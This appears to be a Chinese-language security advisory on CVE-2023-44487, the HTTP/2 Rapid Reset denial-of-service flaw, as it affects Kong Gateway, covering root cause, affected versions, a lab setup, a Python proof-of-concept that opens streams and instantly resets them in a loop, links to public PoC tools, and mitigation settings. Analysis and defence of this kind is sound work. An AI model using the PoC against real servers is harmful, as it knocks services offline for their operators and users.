一、漏洞简介¶
1.1 漏洞背景¶
2023年10月10日,Google、Cloudflare 和 AWS 联合披露了一个影响 HTTP/2 协议的严重拒绝服务漏洞。该漏洞被称为 "HTTP/2 Rapid Reset Attack",是一种新型的 DDoS 攻击方式。由于 Kong Gateway 默认支持 HTTP/2 协议,因此所有受影响版本的 Kong Gateway 都存在此漏洞。
该漏洞攻击规模空前,Cloudflare 曾观测到峰值超过 3.98 亿次请求/秒 的攻击流量,是史上最大规模的 DDoS 攻击之一。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2023-44487 |
| 危害等级 | HIGH / 7.5 |
| 漏洞类型 | HTTP/2 Rapid Reset 拒绝服务漏洞 |
| 披露时间 | 2023-10-10 |
| 影响组件 | Kong Gateway |
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2023-44487 |
| 危害等级 | 高危 (High) |
| CVSS 评分 | 7.5 (High) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 漏洞类型 | 拒绝服务 (DoS) |
| 影响组件 | HTTP/2 协议实现 |
补充核验信息:公开时间:2023-10-10;NVD 评分:7.5(HIGH);CWE:CWE-400。
二、影响范围¶
2.1 受影响的版本¶
- Kong Gateway >= 1.4.0 的所有版本
- 所有启用了 HTTP/2 支持的 Kong 实例
2.2 不受影响的版本¶
- 未启用 HTTP/2 的 Kong 实例
- 在负载均衡器与 Kong 之间使用非加密通信的部署(因为 Kong 的 HTTP/2 仅在 TLS 上可用)
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Kong 实例的
proxy_listen或admin_listen配置中包含http2选项 - 客户端可以通过 HTTPS 连接到 Kong Gateway
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
HTTP/2 协议允许客户端在单个 TCP 连接上发送多个请求(称为"流")。客户端可以创建流、发送请求头,然后立即发送 RST_STREAM 帧来取消该流。这种机制本身是正常的,用于客户端取消不再需要的请求。
Rapid Reset 攻击 的核心原理是: 1. 攻击者建立 HTTPS 连接到 Kong Gateway 2. 攻击者快速创建大量 HTTP/2 流 3. 对于每个流,攻击者立即发送 RST_STREAM 帧取消 4. 由于服务器处理 RST_STREAM 的速度跟不上接收速度,导致资源耗尽
这种攻击的特点是: - 攻击者不需要等待服务器响应 - 每个请求只消耗极少的带宽(仅 HEADERS 和 RST_STREAM 帧) - 服务器端需要分配资源处理每个请求,即使请求已被取消
3.2 源码层面的根因分析(结合源码与补丁对比)¶
Nginx/OpenResty 层面:
Kong Gateway 基于 OpenResty(Nginx + LuaJIT),其 HTTP/2 实现依赖于 Nginx 的 ngx_http_v2_module。
问题根源在于:
// Nginx HTTP/2 模块简化逻辑
ngx_http_v2_handle_rst_stream(ngx_http_v2_connection_t *h2c,
ngx_http_v2_stream_t *stream) {
// 当收到 RST_STREAM 时,需要清理资源
// 但在高并发下,清理速度跟不上创建速度
ngx_http_v2_close_stream(stream, 0);
}
攻击者可以在服务器完成流清理之前,发起新的流创建请求。这种"快速重置"导致: 1. 服务器端维护大量半初始化的流状态 2. 内存和 CPU 资源快速消耗 3. 合法请求无法得到处理
补丁对比:
Nginx 官方补丁主要增加了以下防护措施: - 增加了流数量限制的动态调整 - 添加了 RST_STREAM 频率限制 - 优化了流清理的优先级
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 安装 Kong Gateway
docker run -d --name kong-database \
-p 5432:5432 \
-e "POSTGRES_USER=kong" \
-e "POSTGRES_DB=kong" \
postgres:9.6
docker run -d --name kong \
--link kong-database:kong-database \
-e "KONG_DATABASE=postgres" \
-e "KONG_PG_HOST=kong-database" \
-e "KONG_PROXY_LISTEN=0.0.0.0:8000, 0.0.0.0:8443 http2 ssl" \
-p 8000:8000 \
-p 8443:8443 \
kong:latest
4.2 PoC 演示与测试过程¶
使用 Python 脚本进行测试:
import socket
import ssl
import h2.connection
import h2.config
import h2.events
import h2.frame
def rapid_reset_attack(target_host, target_port, num_streams=1000):
"""
HTTP/2 Rapid Reset 攻击演示
注意:仅用于授权的安全测试
"""
# 建立 TLS 连接
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = socket.create_connection((target_host, target_port))
tls_sock = context.wrap_socket(sock, server_hostname=target_host)
# 创建 HTTP/2 连接
config = h2.config.H2Configuration(client_side=True)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
tls_sock.sendall(conn.data_to_send())
# 快速创建并重置流
for i in range(num_streams):
# 创建新流
stream_id = conn.get_next_available_stream_id()
headers = [
(":method", "GET"),
(":path", "/"),
(":scheme", "https"),
(":authority", target_host),
]
conn.send_headers(stream_id, headers)
# 立即发送 RST_STREAM
rst_frame = h2.frame.RstStreamFrame(stream_id)
rst_frame.error_code = 0x8 # CANCEL
conn.send_frame(rst_frame)
tls_sock.sendall(conn.data_to_send())
tls_sock.close()
# 警告:未经授权的测试可能违法
# rapid_reset_attack("target.example.com", 443)
使用 Go 工具测试:
package main
import (
"crypto/tls"
"fmt"
"golang.org/x/net/http2"
)
func main() {
// 仅用于授权安全测试
fmt.Println("HTTP/2 Rapid Reset PoC - 授权测试用途")
}
已有公开 PoC 工具: - https://github.com/bcdannyboy/CVE-2023-44487 - https://github.com/arkrwn/PoC/tree/main/CVE-2023-44487
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
Kong 官方修复版本:
| Kong 版本 | 修复状态 |
|---|---|
| 3.4.3+ | ✅ 已修复 |
| 3.3.1+ | ✅ 已修复 |
| 3.2.2+ | ✅ 已修复 |
| 2.8.4+ | ✅ 已修复 |
建议升级到最新的稳定版本。
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:禁用 HTTP/2 支持
修改 kong.conf 配置文件:
# 修改前
proxy_listen = 0.0.0.0:8000, 0.0.0.0:8443 http2 ssl reuseport backlog=16384
admin_listen = 127.0.0.1:8001, 127.0.0.1:8444 http2 ssl reuseport backlog=16384
# 修改后 - 移除 http2 选项
proxy_listen = 0.0.0.0:8000, 0.0.0.0:8443 ssl reuseport backlog=16384
admin_listen = 127.0.0.1:8001, 127.0.0.1:8444 ssl reuseport backlog=16384
方案二:降低 HTTP/2 Keep-Alive 限制
# 将 nginx_http_keepalive_requests 从默认的 1000 降至 100
nginx_http_keepalive_requests = 100
注意:此方案可能导致性能下降和 TCP 连接数增加。
方案三:使用 WAF 规则拦截
在 WAF 或负载均衡器层面添加规则:
# 限制每 IP 的 HTTP/2 流创建速率
limit_req_zone $binary_remote_addr zone=http2_limit:10m rate=100r/s;
# 对于 nginx
http2_max_concurrent_streams 100;
http2_recv_timeout 10s;
方案四:使用 CDN 保护
通过 Akamai、Cloudflare、CloudFront 等 CDN 服务,它们已经实现了针对此攻击的防护措施。